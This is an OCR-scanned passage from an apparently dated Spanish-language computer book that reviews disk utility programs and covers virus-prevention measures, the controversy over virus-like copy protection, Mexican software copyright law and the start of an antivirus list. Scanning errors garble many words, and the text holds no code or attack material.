Central Point Software por 179 délares, es una de las herra-
mientas mas utilizadas para el control, mancjo, oplimiza-
c1on, desfragmentacion y restauracién de archivos, fa cual
también permite visualizar los sectores de los discos en for-
matos hexadecimal o ASCH, y ademds incluye una serie de
opciones que facthtan la operacion de los comandos dud sis-
tema operativo.

La mayoria de las mencionadas caracteristicas se le cono-
cen desde sus anteriores versiones, pero a partirde la 5 sedio
un gire com pleto, convirtiéndolo en un paquete integrado de
ubilidades de disco La version 4 se incluia en un solo disco de
360 kB, 1a 6 necesitaba 4 discos de la misma densidad, pero ha
crecido, de tal manera que ésla ocupa 6 discos de alta denst-
dad Este crecimiento tan sustancial del paquete se debe,
principalmente, a la inclusion del programa Poly Windows de
Polytron, el cual fue modificado de acuerdo a Ias necesidades
especificas de Central Point Software.

La nueva version sigue leniendo programas inde-
pendientes como Cenfral Pourt Backup, para respaldo de in-
formacion; PC-Caché, para acelerar los accesos a disco,
almacenando en la memoria los datos usados mas reciente-
mente; PC-Format, para el formateo de discos con verifica-
cién de seclores y velocidad superior a la del comando
Format del sistema operativo DOS; PC-Seinp, para la instala-
cién en el disco duro de PC Tools; Compress, desiragmentador
de archivos; Murror, que hace una copia de la tabla de asigna-
cién de archivos v 1a guarda en un archivo ocullo; Rebuild,
que restaura 1a tabla de asignacion de archivos a partir del
archivo creado por Mirror, y otros.

Al programa principal de PC Toels se le ha cambiado el
nombre por el de PC Tools Desklop, y es el que controla todas
las aperaciones tales como copiar, borrar, comparar, buscar,

———

Figura 7.15
Pantalia
princlpal de PC
Tools Desde el
Desktop se
pueden elecutar
la mayoria de las
opciones del
progroma.
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ordenar, venficar, iactalizar, ete. Permite gjecutar otros pro-
gramas o aphcaciones en su entorno, asi como visuabisar dos
ventanas con dderenles drrectorios, y las correspondientes
ventanas de archivos

Q DOS 3. s un programa de Gazelle Systems que, aun-
que no tan conocido como Netton Conpnairder o PC Tools, tun-
ciona de maravilla para manejar archivos, cambiar atributos,
renomibrar archivos y para los fines de este capitulo —hacer
archivos de respaldo- ofrece la posibilidad de copiar directo-
rios completos det disco fijo o duro a disqueles, copiando in-
tegros los subdirectorios y credndolos de la misma maneraen
los disquetes de respalde. Un programa que recomendamos
amphamente.

QRAM. Es un programa optimizador v de control de la
memoria RAM, desarrollado por Quarlerdeck Funciona en
equipos PC-XT o AT, con micropracesadores 8088, 3086 o
80286, aunque tambidén existen versiones del programa paia
el PS/2 de IBM uotros equipos con microprocesador 80386 o
posleriores

QRANMT es un paquete de utilidades que proporciona con-
trol total subie la memoria RAM. Cuandao se ticnen instala-
das tarjetas de memoria EMS 4.0 0 EEMS, QRAXN controla la
parte alta de la memoria, permitiendo su mdpea Ahise pue-
den cargar archivos AUTOQEXEC.BAT y CONFIG 5YS, asi
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como los datos de los programas residentes en memoria (Ter-
minale and Stay Resident, TSR, y también los de periféricos
como controladores de discos {(disk drives), redes, ratén y tos
del sistema operativo DOS para colocarlos donde puedan es-
lar bajo ¢l control del usuario.

SpinRite . Version 1.0 revisada, Programa de diagnésh-
co y recuperacidn de informacion en discos duros con danos
fisicos o logicos. Disenado por Citson Research Corporation,
restablece los datos almacenados en areas danadas y ayuda
por medio de software a alinear las cabezas de lectura /eseri-
tura para el mejor funcionamiento del disco. Reformatea en
bajo nivel la superficie del disco, sin destruir los datos, nuen-
tras optimiza el factor de intercalacion de los sectores.

Sum 1. Programa de utilidades para los sistemas Macin-
tosh, de Symantec, que permite hacer copias de seguridad y
recuperar archivos borrados (File recover). Proporciona se-
guridad contra miradas indiscretas durante el acceso al disco
duro, por medio de su maédulo de proteccion mediante crip-
logramas o claves secretas. Otros de sus modulos importan-
tes son: Disk Clinie, Quick Fix, que recupera archivos
borradwos del disco duro, aunque scan muy grandes, para lo
cual se utilizan varios discos flexibles, v ¢l SUM H Paitntion
Moidule.

Take Charge! Esun programa de utitidad, de Departuen-
tal Techmologies, que tiene un precio de lista d-: 99 95 délares y
requicre 325 kB de memoria RAM y el sistema operativo DOS
2.0 o postertor, Es un programa residente en memoria que
ocupa 23 kB en la memonia v se encarga del control y ejecu-
cion de aplicaciones. Tiene una opcaidn para la recuperacién
du archivos borrados en forma automdtica o ¢n forma inte-
ractiva, con pantallas parecidas ai Debug del sistema opera-
live DOS.

También incluye una serie de utilidades de escritorio,
coma: calendario, block de notas, reloj con alarma, médulo
de comunicaciones, base de datos, calculadora y las impres-
cindibles funciones: editor de atnibutos, editor de sectores,
formateo de discos, blisqueda de cadenas de texto y desfrag-
mentacidén de archivos.

The Norton Utilities, Advanced Edition, Version 1.5, Pro-
ducto de Peter Norton Comprtnig, ahora de Symantec Corp, o5
otro de los programas de utibdades mds conocidos y sepuros
para ¢l mantenimiento de archivos y disquetes o discos duros,
actividades en las cuales es uno de los proneros. El programa
principal, NU EXE, se ha perfecaonado vy tiene una mejor

1
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presentacion de las pantallas, ¢ incluye tres madulos ya co-
nocidos que son Explore Disk, Disk Information y LhiErase, las
cuales permiten la edicion de sectores v recuperacién v res-
tauracidn de archivos borrados (Frie recover) Esta nueva edi-
cion incluye dus programas que no se conocian en las
versiones anteriores y que son S (Speed Disk), que optimiza
discos mediante desfragmentacion de archivos, y NDID (Nor-
lon Disk Doctor), que permate reparar ef drea de carga (boot
area), la tabla de asignacion de archivos y los archivos aleja-
dos en sectores danados.

Los programas clisicos de las Utilidades Norton son FA (File
Atributte), que cambia y exhibe los atributos de los archivaos;
BE (Batch Enfincer) hace mas funcionales los archivos .BAT,
utilizando subcomandos para control de color, brillo, venta-
nas, etc.; FF (File Fud), para busqueda de archivos por su
nombre ¢n todos lus subdirectorios; TS (Text Search) busca ca-
denas de caracteres; NCD (Nortor Change Directory) erea, eli-
mina y renombra los subdirectorios indicados; UD
(Unrenrove Directory) recupera un directono borrado; VL (Vo-
hane Label) crea o cambiaa el nombre a un disco, FID (File Date)
cambia la fecha v hora de creacién en los archivos; SF (Safe
Format), hace el formalteo de discos, creando un archivo de
control que permite recuperarlos si se llegan a borrar acal-
dentalimente; FI (File Info), lista los archivos de un disco junto
con sus comentarios, si los tiene, D1 {Disk Information) pre-
senta los pardmetros del disco; NI (The Norlon Integrator),
muestra en pantalla todos los programas de Norton y permi-
te escoger uno para ejecularto, SH(Systen Information) mues-
tra el estado del sistema; LP (Line Prinl) imprime archivos de
texto, permitiendo darles formato; L1 (List Direclories), lista
los subdirectorios, TM (Tine Mark) reinicializa el reloj; DS
{Directory Sort} clasifica los archivos en el directorio; NCC
(Nortonr Control Center), permite el acceso a las funciones bd-
sicas de la computadora; FR (Format Recover) recupera la in-
formacién barrada de un disco formateado con SF; QU
(Quick UnFrase) permite ba recuperacién automatica de archi-
vos borrados; WipeFile, borra toda la informacidn de los ar-
chivos seleccionados; WipeDisk, elimina todos los datos de
los archivos borrados, impidiendo su recuperacién; FS (File
Size) reporta ¢l tamano de un archivo o grupo de archivos y,
finalmente, DT (Disk Tesf), que realiza una verificacién com-
pleta del disco en la umdad especificada, cambiando de lu-
gar la informacidén ubicada en sectores danados o con
posibles fallas.
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Figura 7.16
Desde que se
instala, Norten
crea dos grupos
en Windows, unc
para las
herramlenias de
DOS y otro para
las opciones
graficas.

Figura 7.17

El programa
claslco Norton
Disk Doctor se ve
asl en WIndows.
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Norton Ulilities 8.0 Fsta es la version mas avanzada del
pnpul:l rprograma de utihdades, que ahora se presenta como
version para Windows, canque verdaderamente, en esencia
sigue lernendo una gran parte de sus programas en platafor-

— I
[ Archive Opoinnes Ventana

Fyuiln

Uliles Windews

& & S e ma
L S : L Sy e FerChgae KE Py

Y o ol

Hmlots Undoes [GS
Gier &

o thla= F1.0 P gusd

Background

dhii

flelp

4 To check pour dizks for entors,
A piess the Start bulten -

.

Figura 7.18
Speed Disk
acelera la
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Figura 7.19
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ma DOS, razén por la quee cuando se trata de instalae desde
Windows se sale a 1208 a mstalar v crea dos grupos en Win-
dows, uno que ejecuta verdaderamente en el ambiente grifi-
co y el otru que trabaja como siempie enomaodo teslo
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Los programas de las utihdades Norton pueden dividirse
en cuatro grandes grupos de acuerdo al cometido de cada
uno de ellos: Recuperacion de datos, Segundad, Optimiza-
cion y Herramientas. En el primero se encuentra obviamente
Norton Disk Doctor, Disk Edutor, File Fix y otros. La seguridad
estd respaldada por Diskreet, Disk Monitor y Wipe Information,
De la optimizacién de la velocidad de acceso al disco se en-
cargan Calibrate, Norton Cache y Speed Disk, y finalmente se
agrupan herramientas como Batch Enhancer, Norion Control
Center, Duplicate Disk, File Date, File Size, Ini Editor y muchas
mds. )

XTreePro Gold. Programa para el manejo intuitivo del
disco, que permite buscar archivos con respecto a su conteni-
do, abrir archivos junto con sus aplicaciones, coptar o mover
bloques de lexto entre archivos, e incluso ver los archivos en
sus formatos originales, incluidos dBASE, Lotus 1-2-3, Mi-
crosoft Word, WordPerfect, etc. Permite el use del ratén
{mouse) o bien puede operarse mediante el leclado. Permite
otras funciones como formateo, cambio de atributos, cambio
de fecha y hora en los archivos, ¢ impresion del arbol de di-
rectorios. XTREE Company lo ofrece por 129 délares.

Como protegerse de
oS virus
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L a mejor manera de proteger las computadoras contra los
virus informiticos es no utilizar copias tleyales o “piratas”
de ningiin programa. Por supuesto, los programas autocarga-
bles de cualquier tipo, tales comao los de juegos y otros, no de-
ben ser introducidos en el sistema a menos que se trate de los
originales v copias de respaldo que se hayan hecho con la se-
gundad que son auténticas.

Esto implica observar una seric de conduclas de trabajo y
tomar medidas de seguridad que permitan prevenir las infec-
ciones virales y olros percances que suclen ocurrir al leer o
grabar uno o mas archivos en cualquier disco, o transferir in-
formacién a través de redes de computadoras. Las conductas
que se deben adoptar deben ser de acuerdo a una cultura in-
formatica sana; es decir, estar conscientes de que la computa-
dora es sdélo una herramienta y no un genio que resolvera
todos los problemas que se presenten, por lo tanto se deben
tomar precauciones para mantener a buen recaudo la infor-
mactén que se genera diariamente con la computadora.

8.1 Medidas de seguridad

Las medidas de seguridad que se indican a continuacidn per-
miten un minimoe de seguridad cuando se trabaja con compu-
tadoras. No es que el ttabajo automatizado lenga factores en
su contra, pero la irreverencia de algunos “genios” de las
computadoras hace que se vea con temor el uso de éstas para
realizar las labores cotidianas en la oficina, el taller, la escucla
y el hogar, de tal manera que si no se toman medidas apropia-
das de seguridad, se puvin tener contratiempos con la in-
formacion.

> Lo que se debe hacer cuando s¢ adquiere un programa de
cémputo, es hacer una copia de respaldo (Backup) de cada
disco que contenga datos creados por usted. Nuestra reco-
mendacidn consiste en hacer tales coplas de seguridad al
final del dia, y realizar un respaldo de todos los archivos
de usuario semanal, quincenal o mensualmente, De este
mode, si se detecta o se presume que el sistema ha sido in-
fectado por unvirus, podrd usted partir del aliimo respal-
do sane al momento de restaurar la informacion en la
computadora

» Cuando esté seguro de que la computadora ha sido infec-
tada por cualquier tipo de virus, proceda a apagar el equi-
po inmediatamente para evitar que el virus se reproduzea
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Figura 8.1
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en las disquetes o en el disco fijo. Ademas, al apagar la
computadora tambnién se logra climinar ¢l virus de ia me-
moria RANM. [Luego, tome e disquete original que contiene
el sistema apurativoe que debe cstar protegido contra escritura
y proceda a reemplazar la copia del DOS en el disco fijo o
en la copia de trabajo.

Para reemplazar el sistema operativo, use el comando S5YS
del DOS. -Le sugerimos consultar el Libro Todo sobre MS
DOS 6.22 de Abelardo Pantagua, de esla misma editorial,
para aprender el uso del comando 5YS.-

Los discos de 5 ¥4 o de 3 1a pulgadas que contengan pro-
gramas originates siempre deben protegerse contra escri-
tura colocindoles una lengiieta en la muesca, o corriendo
el seguro en la ventana de proleccion -la mayoria de los
programas no necesitan que se grabe informacion en el
disco-. 81 al gjecutar un programa aparece ¢l mensaje que
nos mndica que se inlenta grabar informacion en ese disco
“Write Protect Error Writing Dirive A7 a pesar de estar pro-
tegido, sabremaos que algo no estd correcto y se debe averi-
puar de qué se trata,

Los programas o paqueltes originales vienen acompanados
de un manual que enseia, entre otras cosas, como hacer
copias de respatda (backup). Es aconsejable seguir sijem-
pre esas indicaciones, trabajar con las copias y puardar los

v
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originales protegudes contra cscrifura en un lupar seguro,
(resco v s excesiva humedad

Cuando detecte alpo extrano y sospeche que pueda ser un
virus, desconecte todas las lineas de transferencia de mmfor-
macion -tales como madems, redes, terminales e interfaces
con otros equipos o disposibivos de entrada/sahida- para
evitar que se disenune ¢l virus a olros sistemas, o que se
introduzca en los que estan conectados en ese momento.
En una red o sistema compartido (Nelwork) conviene
crear un subdnectorio para cada usuario, y proteger el ac-
ceso a ellos conuna clave deidentificacton (password) in-
dividualizada para quu los vperadores séto puedan
trabajar ¢n su correspondiente subdirectorio. Esto salva-
guarda la mtegridad de los archivos, sobre todo los de da-
tos, que utihzan los otros operarios.

Al copar un nuevo programa, se debe verificar paa cer-
clorarse que no conliene mensajes extraios tales como:
s fUiarf! pgotcha!, Welconie te the diungeon. beweare of e o-
ries. o e agandé, porque con toda sepundad se trata de un
programa portador de un virus. Para ello, use un progra-
ma desensamblador como Debug o cualquiera de los pro-
gramas de utilidad mds comunes: PC Tools, XTREE Gold,
Mace Urtithies o Norton Ultdrties.

Tenga mucho cuidado con los programas que se instalan
como residentes en memoria (Termanate and Stay Resi-
dent, TSR), ya que la mayoria de los programas de virus se
instalan en la memoria convencwonal o RAM para reahizar
sus perjudiciales acciones sobre el sistema y los discos.
Existen programas residentes en memoria que pueden ser
de gran utilidad para Hevar la agenda, el calendario, un
block de notas y nuiltiples apheaciones de escritorio, pero
no deben instalarse a menos que provengan de los disque-
tes onginales.

Tambidn se puede venficar el tamaiio -en bytes- de los ar-
chivos ocultos de sistema y el de los archivos COM o
EXIE, para ver si se ha incrementado ese valor. De ser asi,
debe sospecharse que existe una infeccion viral, por lo gque
procede tomar fas medidas enunciadas aqui para proleger
eficazmente Ly informacion -que muchas veces se ha gene-
rado en lango tiempo de arduo trabajo-. Algunos programas
detectores de virus monitorean esos archivos cjecutables y
detectan si han sufrido cambios en su lamano.

Las empiesas que lengan sistemas computadorizadoes de-
ben establecer métodos de control para que sus operado-

[ ——
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Figura 8.2
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res no introduzcan disquetes de dudosa procedencia en las
computadoras. Tampoco se debe permitir que se los lleven
a la casa y posteriormente los traigan al trabajo, quiza con-
taminados con algin virus. Otra medida de seguridad
consiste en prohibir la copia de programas originales o la
maodificacion de éstos.

/

>

>

A

Cuando usted vaya a trabajar en una computadora que
esté encendida y no conozca el trabajo que se estaba reali-
zando ¢n ella, evite introducirle un disquete. Lo recomen-
dable es que la reinicialice {Reboot) usando un disquete de
sistema que eslé protegido contra escritura y tenga usted
la seguridad de que no estd infectado, pues de lo contrano,
si la computadora esla infectada, ¢l disquete que usted in-
troduzca en la unidad de disco puede contaminarse.

Si cuenta con varias computadoras, ¢s muy conveniente
tomar una sin disco duro como maquina de pruebas, en
donde se verifiquen todos los programas nuevos ponidn-
dolos en cuarenteni, y solo cuando esté seguro de que estan
sinos podrd pasar los programas al disco fijo 0 a las redes
{Networks).

En los paises donde existen servicios de cartelera electré-
nica (Bulletin Board Services, BBS) -que son servicios de
distribucién de software o de informacion por via telefoni-

— Ty

-

h

A g

215

8.1 Medidas de segurldod

.
ca, pagando una suscripcidn-, se debe verificar si efectuan
0 no una revisién previa del cédigo de cada programa que
ofrecen. Ademiis debe tenerse sumo culdado cuando se
capturan (Download) los programas, y revisar bien los dis-
quetes que se usaron antes Je instalar tales programas en
el disco fije o duro.

Es rccomendable esperar unos dias para ver si no pasa
nada extrafo con ¢sos programas antes de empezar a utili-
zarlos con plena confianza, aunque se ha demostrado, con-
trario a las creencias, que los BBS no son foces de distribucion
de virus.

La mayoria de ellos toman todas las medidas de seguridad
necesarias para evitar las contaminaciones, ya que la com-
pelencia entre los diversos servecios de cartelera eleclronica
hace que quien distribuye copias infectadas entre los usua-
rios pierda su mercado. Sin embargo, mds vale prevenir
gue lamentar.

Una proteccién adicional contra los virus consiste en cam-
biar el atributo de los archivos con extension .COM o EXE
a solo lectura (Read Only). Esto se puede hacer usando el
comando ATTRIB a parur de a versidn 3.3 del DOS, o ma-
nualmente si su versidn del s1stema operativo es anterior a
ésa. Para mayores detalies sobre el uso del comando AT-
TRIB, le sugerimos consultar el libro Tivde sobre DOS 6.22 de
Abelardo Paniagua, publicado por esta misma editorial.
Otro método para asignar el atributo de sélolectura a estos
archivos, lo proporcionan los programas de utilidad que
incluyen la opadn cambiar atribulos a wuno o mis arclivos.
Para hacerlo, siga las instrucciones del programa de utili-
dad que esté usando: Mace Uilities, Norfon Utilities, QDOS
3 0 PC Tools.

Comprimir o compactar los archives con periodicidad en
el disco fijo para optimizar el drea de almacenamiento,
usando herrarmentas tales como Optune, Compress de PC
Tools, el programa Mace Litiditivs o SD (Speed Disk) de Nor-
ton Ulilities, resullard de gran ayuda al momento de con-
trarrestar un ataque viral. Esto se debe a que tales
programas de utilidad permiten reconfigurar el disco fijo
al mismo estado ¢n Que s¢ encontraban los archivos antes
de ser atacados por el virus, sélo hay que ser consistentes
en su uso.

De hecho, programas de utilidades para desfragmentar ar-
chivos como Optune o Norton Ufiities, aunque no tengan
ese objetivo, son antivirus porque cuando detectan algo

B .
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extranio en el sector de carga {Boot sector), lo regeneran,
con o que queda eliminade el virus.

8.2 Proteccién integral

Todas las medidas que se puedan tomar para el uso de las
computadoras pueden resultar infructuosas s1 alguien que
tenga acceso al sistema introduce un programa maligno; es
decir, para que un sistema sea seguro deberd estar apagado y
fucra dei alcance de cualquier extranio.

Esto no hace mas que concientizarnos de que nuestra com-
putadora siempre puede contracr una infeccidn por algtin vi-
rus, por lo que debemos estar preparados para cualquier
contingencia. Fred Cohen -El padre de los virus informiti-
cos- pregona en conferencias y cursos impartidos en Univer-
sidades y foros cientificos, que las computadoras sicnipre
estardin expuiesias g contagios virales, por lo que se deben prever
soluciones integrales para la protecaidn de los sistemas com-
putadonizados.

El sistema propuesto por el Dr. Cohen parte det hecho de
que ninguna computadora es infalible, por lo tanto hay que
proteger la informacion desde diverses puntos de vista: ha-
ciendo respaldos de tos datos en periodos frecuentes, moni-
torcando las actividades de la computadora para saber si
algo eatrano se estd llevando a cabo en su interior, y, sia pesar
de todas estas precauciones su computadora ha quedado in-
fectada por un virus, proceder con mucha cautela, sin pdinice
y con seguridad. Su mayor preocupacion debe cansistir en
tratar de recuperar esus valiosos archivos de datos que con-
ticnen la informacion paciente y laboriosamente creada por
usted, puesto que es lo que mayor valor representa para cual-
quier usuario.

5i usted tiene todo bajo contrul; o sea, que tiene toda suin-
formacion respaldada y los discos originales de los progra-
mas, debe borrar los archivos infectados o formatear los
disquetes o el disco duro, cuando han sido infectados por un
virus desconocido. Si se trata de un disco fijo, ¢l formaleo que
se le dé debe ser de bajo nivel para limpiarlo otalmente. Una
vez hecha esta limpieza vaelva a cargar o instalar en 6l los
programas de aphcacion que usa comiinmente, pero higalo
a partir de los disquetes originales o copias sanmas del sofltware,
teniende cuidado de mantenerlos prolegidos contra escritura.

Y nuevamente repelimos aqui la mds importante de todas
estas medidas: io confic en copiag de programas, simo en los ori-

Figura 8.3
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ginales que ostentan el nombre delavtor o responsable, sicdireceion
o teléfono y el registro fegal o copyp ighf correspondicite Esta pue-
de ser la verdadera solucion al problema que, como dyo al-
gun dia Fernando Lanmigueire -revisor editorial en temas de
computacion- Ef puoblenma de los viens es la plaga de lo diltuna dé-
enda de este siylo para fa computacion.

Logicamente, las medidas enumeradas con antenoridad
son sélo medidas de proteccion para la computadora y sus
discos, y aunque existen programas anlivirus, hasta ¢l mo-
mento de escribir este hibro no ha aparecido uno que presente
una solucton que sea 100% confiable. Se espera que en la me-
dida en que se conozea mejor el funcionanuento de la com-
putadora en general, y de los comandos de los sistemas
operalivos en particular, se desarrollarian mds y mejores pro-
gramas antivirales para atacar con mayor clicacia a los virus
informaticos

Los fabricantes de equipos ya estin desarrollando algunas
soluciones por la via del hardware, tales como incluir dispo-
sifivos fisicos para la proteccion contra las infecciones vira-
les, pero tambidén se visualiza una solucion mediante
programacion, utilizande sislemas operativos en modo pro-
tegido como UNIX y olros; por cjemplo, el sistema operalivo
0S/2 ya cuenta con mecanismes para impedir la disemina-
cién de los vitus. Sin embargo, ¢l problema mas grave radica
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en que no todos los fabricantes de hardware reconocen la ex-
istencia de los virus.

8.3 Controversias

Los programas de virus han dado vrigen a una gran contro-
versia cn el campo de la informatica. Mientras que los usua-
rios opinan que la creacion de programas de virus es una
accién terrorista y de manifiesta falta de ética, los fabricantes
de software opinan que en algunos casos se justifica la utili-
zacion de esquemas de proteccion que aungue o se Hanmen vi-
rus contengan cédigos muy parecidos. Estos tltimos
justifican su proceder alegando que al detectar que se han he-
cho demasiadas copias de algun programa fabricado por
ellos -demasiadas para creer que se trata de copias de respal-
do-, los esquemas de proteccion disefiados por el fabricante
de software pueden proceder como agentes virales, destru-
yendo los archivos en el disco que supuestamente tiene una
copia tlegal o prrata del software que desean proteger.

Esta polémica realmente complica la cuestién, porque has-
ta el presente en la mayoria de los paises no se ha legislado
sobre la materia y las partes contrapuestas en el conflhicto tie-
nen muy variados y valederos puntos de vista. Por un lado se
cuestiona la legalidad de incluir o no un esquenm de proteccion
tipovirns enel software original, mientras que por el otro pre-
valece la duda de si es ético hacerte PPuede ser que mientras
no exisla una ley que sancione ¢l hecho, esta prictica se con-
sidere legal; sin embargo, en Estados Unidos ya se han plan-
teado algunas demandas en los tribunales, y es de esperar
que se presenten muchas mds,

El periédico Computerworld de México, en un articulo
publicado el 30 de eneru de 1989, menciona un programa
creado por el estudiante de ingenieria en computacion y ase-
sorde vanas empresas, Rodolfo Muiioz Zaniga, quien opina
que se pueden crear virus no daninas como proteccion para
los programas para ayudar a concientizar a los usuarios meaica-
nos y lalmommericanos, sobre el concepto de virus. Fn consecuen-
cia, Mufoz Ziniga cred el programa RAM-VIRUS [, con un
tamafio de 1 070 bytes -incluyendo un mensaje de 500 bytes-.

El virus se manifiesta la primera vez como una mera ad-
vertencia: Esta vez no pasé nada, pero existe la posibnlidad de que
la proxima le afecte los archives o el sistena operativo. El contagio
se realiza siempre desde una capia ilegal o pirata de algin
programa. Una vez ejecutada toma ¢l control del sistema, in-
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fectando y marcando los programas ¢jecutables. Aunque es un
virus benigno -es decir, que no destruye archivos de datos ni
produce efectos nocivos en el sistema-, causa muchas moles-
tias al usuano, porque cada programa infectado que se ejecu-
te tratard de infectar a otros programas

Con relacién al problema de la pirateria estudiantil, opina
Rodolfo Mufioz Zufiga que se pueden tomar algunas medi-
das, como el que varias empresas o asociaciones especiatiza-
das en computacién tomen a su cargo la creacion de
proyrantotecas que pongan el software original al alcanee de
los estudiantes de carreras relacionadas con la informatica,
ya que cllos generalmente no tienen la capacidad econémica
para comprar los programas ortginales y, por lo mismo, co-
pian éstos de la manera que pueden.

.. T
.PROGRAMOTECA

Se piensa que lo antenor propiciard que los estudiantes se
familiaricen con los programas que les interesan, para que
cuando ¢llus se conviertan en usuanios -o trabajen como ope-
radores de computadoras-, recomicnden alos gerentes de los
departamentos de edmputo la compra y uhlizacion de ver-
siones eriginales, convencidos de que obtendrdn mejores re-
sultados y estaran a salvo de las infecciones virales.

Otras ayudas, continia Mufioz Zudiga, seria contar con
descuentos en los libros de computacion, sobre todo en espa-

¥
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fiol, ya que la mayoria estin escritos en inglés, Ademis, con-
vendria que existieran agrupaciones de profesionales en la
maferia que asesoren a los estudiantes en sus dudas técnicas,
pues a veces ni tos mismos maestros tienen ba capacidad o el
tiempo necesario para hacerlo.

Quiza no salgan muy bien hibrados los acusados: progra-
madores y fabricantes de software que se defienden de L in-
justicia que para ellos representa la tan difundida priateriu de
programas, v quienes aphcan sus conocimientos técnicos
para proteger el software creado por ellos. O tal vez sean
ellos quienes tengan la razén. La siempre creciente comuni-
dad informdtica mundial de seguro estd pendiente del resul-
tado v lo que ello significara para esta nueva y dinamica
industra.

Es probable que la solucién contemple un compromiso
que no represente un rompimiento con la ética, pero que ayu-
de a concientizar a los usuarios sobre la conveniencia de uli-
lizar solo programas originales, ¥ que igualmente obligue a
los programadores a ser mis conscientes con respecto a los
beneficios econdmicos reales que deben obtener de su soft-
ware, de tal manera que establezean niveles de precio mas ac-
cesibles a la mayoria de usuarios para que no estimulen la
proliferacion de copias ilegales. Pienso que esto sélo se logra-
rd si los programas se venden en mayores cantidades pero a
precios mas bajos, politica “descubierta hasta ahora” por los
“genios” de la computacion, que ya esldn poniendo en prac-
tica esla medida

Lo anterior pone de manifiesto la necesidad de crear en to-
dos los paises, asociaciones serias y responsables -como la
Compitter Virus lndustry Associabron, que ya existe en Istados
Unidos- constituidas por usuarios y fabricantes de software
y hardware, con miras a discutir los pasos que se deben seguir
para optimizar lo mejor para ambas partes. Tales asociacio-
nes, de erearse, ayudarian a erradicar los virus informaticos
como agentes de lerrorismo, y contribuirian al bicnestar y tran-
quilidad de quienes tenemos que trabajar con las computa-
doras.

Aprovecho aqui para agradecer a tantos lectores que han
escrito a esta editorial desde varios paises, sumindose a la
propuesta para formar ta brigadn antiorrus. Desyraciadamen-
te las comunicaciones por correo son demasiado lentas com-
paradas con la velocidad a la que viajan Jos virus dentro del
maletin de algin usuario o a través de las redes de comunica-
cion. Esto aunado al tiempo que nos toma el trabajo con Ia
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computadora, hace dificil la creacidn de grupos dé estudio de
los virus.

Lo que debe hacer cada quien en su lugar de residencia es
ponerse ei conlacto con los usuarios de compuladoras de su
localidad, y reunirse penadicamente para estudiar, mvestigar
¥ proponer soluciones a estos problemas, y luego comunicar-
se con grupos de usuarios de olros paises para compartir los
conucimientos adquiridos, y cuando sea posible elaborar
programas antivirus que puceden poner a disposicidn del pi-
blico por medio de los BBS.

En Guadatajara, México, se ha venido reahzando un traba-
jo excepcional de organizacion gracias a la constancia Jde va-
rios usuarios de computadoras que, como Fernando Sudrey
Arias, Marcos Guillén, v otros, han logrado crear el Club de
Virdlogos de Microcomputadoras de Guadalnjara, A.C | que sesio-
na regularmente hace ya 4 afos, v ha logrado recopilar gran
cantidad de informacidn. A ¢llos, gracias por su invaluable
labor en nombre de todos a quienes nos preocupa y ocupa
este problema de los virus informaticos.

La sede del Club estd en el fustituto Avanzado de Compula-
cion, Ennique Diaz de Leon Sur No. 489, Guadalajara, Jalisco,
México, con teléfano: (36) 29-2404, del coordinador. Aqui se
proporciona asesoria gratuita sobre problemas de virus a
quien lo solicite y s ofrecen cursos para usuarios o empresas
a precios muy accestbles.

8.4 Legislacion sobre derechos de autor

En México, tuego de habuer disculido si se debian incluir en ¢l
registro de palentes, la Secretaria de Educacidn Priblica expidid
en 1984 un acuerdo autorizando la inclusion de los progra-
mas de computacion en el Regrstro Piiblico del Derecho de Au-
for, pero es hasta {inales de 1991, cuandeo las autoridades
competentes promulgan las reformas a la Ley Federal de Dere-
chos de Autor, incluyendo al software como sujeto de protec-
cion autoral ¢ imponiendo penas considerables, para los
infractores de esta ley.

Tambuén en México se realizaron eventos propiciados por la
Procraiur ia Federnl de la Repriblica, como la serie de conferen-
cias de capacitacion Los uspeclos penales del Desecho de Autor,
en donde se expusieron temas como Ef defrto de pratesia sobve
los prograns de computacidn, a cargo del Lic. Luis Vera Vallejo
y del C. 1> Marco Antomo Merino 12, destacados micmbros de
la Asociacion Nacronal de la tndustrin de Programas para Compu-
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tadoras (ANIPCO). Para darse cuenta de lo grave del proble-
ma de la pirateria a nivel mundial, segin datos de la Business
Software Alliance {(BSA), Ia industria de software perdio mds
de 12 800 millones de délares por ese concepto.

Programas anfivirus
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partir de la prohiferacion delos virus mformdticos, se ha

desarrotlado igualmente una industria dedicada a la
creacton de programas, llamados eacinas o antivrus, gue tie-
nen como finalidad detectarlos, erradicarlos y prevenir las
mfecciones virales, Como se ha mencionado, ¢l problema con
los virus cs que estdn escritos en codigos de programacién
muy diferentes que bienen caracteristicas de funcionamiento
muy diversas, lo que hace que los programas anlivirus, anti-
Dréticos v oacias, como se les denomina, sélo scan eficaces
para combatir ¢l tipo de virus para el cual fucron disefiados

9.1 Cruzada antfivirus

Quien sepa programar, cémao utilizar las computadoras evi-
tando riesgos, o algin truco o “lip” para protegerse delos virus
nformdticos, debe darlo a conocer, aprovechando cualquier
medio, a la comunidad informaética. Asimuisma, si ha desarro-
Nado algan programa de protecaion, podria ponerloal alean-
ce de todes mediante los BBS lacalus o internactonales,

Existe gran cantidad de vacunas, pero debemaos tener en
cuenta que se han descubierto muchos mas virus, los cuales
aunados a las modificaciones que se les agregan, representan
grandcs retos para los pmgmmndorus que se dedican a ayu-
dar en la cruzada antivirus En Estados Unidos, sin embargo,
eaisten asociaciones que se han dedicado a la creacion de
programas antivinus que ayudan a cerradicar muchos virus, y
se actualizan de tal manera que son capaces de reconocer un
virus, dias despuds de haberse dado a conocer

A continuacidn presentamos una lista de los programas
antivirus o vacuias mas conocidos, desarrollados en Colombia,
Estados Unidos, México y otros paises del mundo, incluyen-
do, cuando es posible, el precio aproximado o equivalente en
délares, y una breve descripeion de sus principales funcio-
nes, sus caracleristicas y los procedimicntos necesarios para
su correcta aplicacidn en la lucha contra los virus. Ademas se
incluye una lista de programas antivtrus o de utilidades, del
tipo Sharewdre que se pucden conscguir a traveés dela red In-
ternet y pueden ser la solucion a su problema particular de
infecciones virales.

9.1.1 Colombia

» Rombicilina. Antibidlico para proteccion que climina el
virus de Turin o de In pelotita, creado en julio de 1989 en la
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Figura 9.1
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Universidad de tos Andes para contrarrestar los virus de
las computadoras [BM v sus compatibles. Se utilizd para
erradicar de las computadoras de esa Universidad el men-
cionado virus, pero las himutaciones de los programas exis-
lentes ¥ de la misma Rombicilinag -que solo ataca a ese
virus especifico-, Hevd a ta creacion del programa PCeilina,
que ya os capaz de impedir infecciones de multiples tipos
de virus,

I’Ccilina. Se trata de un antivirus de amplio espectro.
Cuando se ejecuta un programa, funciona exactamente
ipual que st no estuviera presente Ja vacuna; no obstruye la
memoria y se puede usar conjuntamente con programas
